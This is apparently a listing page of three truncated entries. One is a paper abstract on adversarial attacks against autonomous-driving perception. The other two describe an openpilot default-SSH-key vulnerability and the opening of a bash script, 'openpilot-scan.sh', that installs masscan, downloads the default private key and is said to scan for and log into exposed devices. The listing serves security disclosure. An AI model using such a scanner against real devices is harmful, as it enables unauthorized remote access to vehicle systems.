Revisiting Adversarial Perception Attacks and Defense Methods on Autonomous Driving Systems

Autonomous driving systems ADS increasingly rely on deep learning-based perception models, which remain vulnerable to adversarial attacks. In this paper, we revisit adversarial attacks and defense methods, focusing on road sign recognition and lead object detection and prediction e.g., relative...

Openpilot Default SSH Key Vulnerability

Openpilot has a default SSH key that can allow attackers remote access if not changed. This script port scans and attempts to login to Openpilot SSH servers with the default key. !/bin/bash openpilot-scan.sh Jeremy Brown jbrown3264/gmail Dec 2020 Checks for openpilot devices using the default SSH...

Openpilot Default SSH Key Scanner

!/bin/bash openpilot-scan.sh Jeremy Brown jbrown3264/gmail Dec 2020 Checks for openpilot devices using the default SSH key Setup apt-get install -y masscan && setcap capnetraw=ep /usr/bin/masscan wget -q https://raw.githubusercontent.com/commaai/openpilot/master/tools/ssh/idrsa chmod 600 idrsa...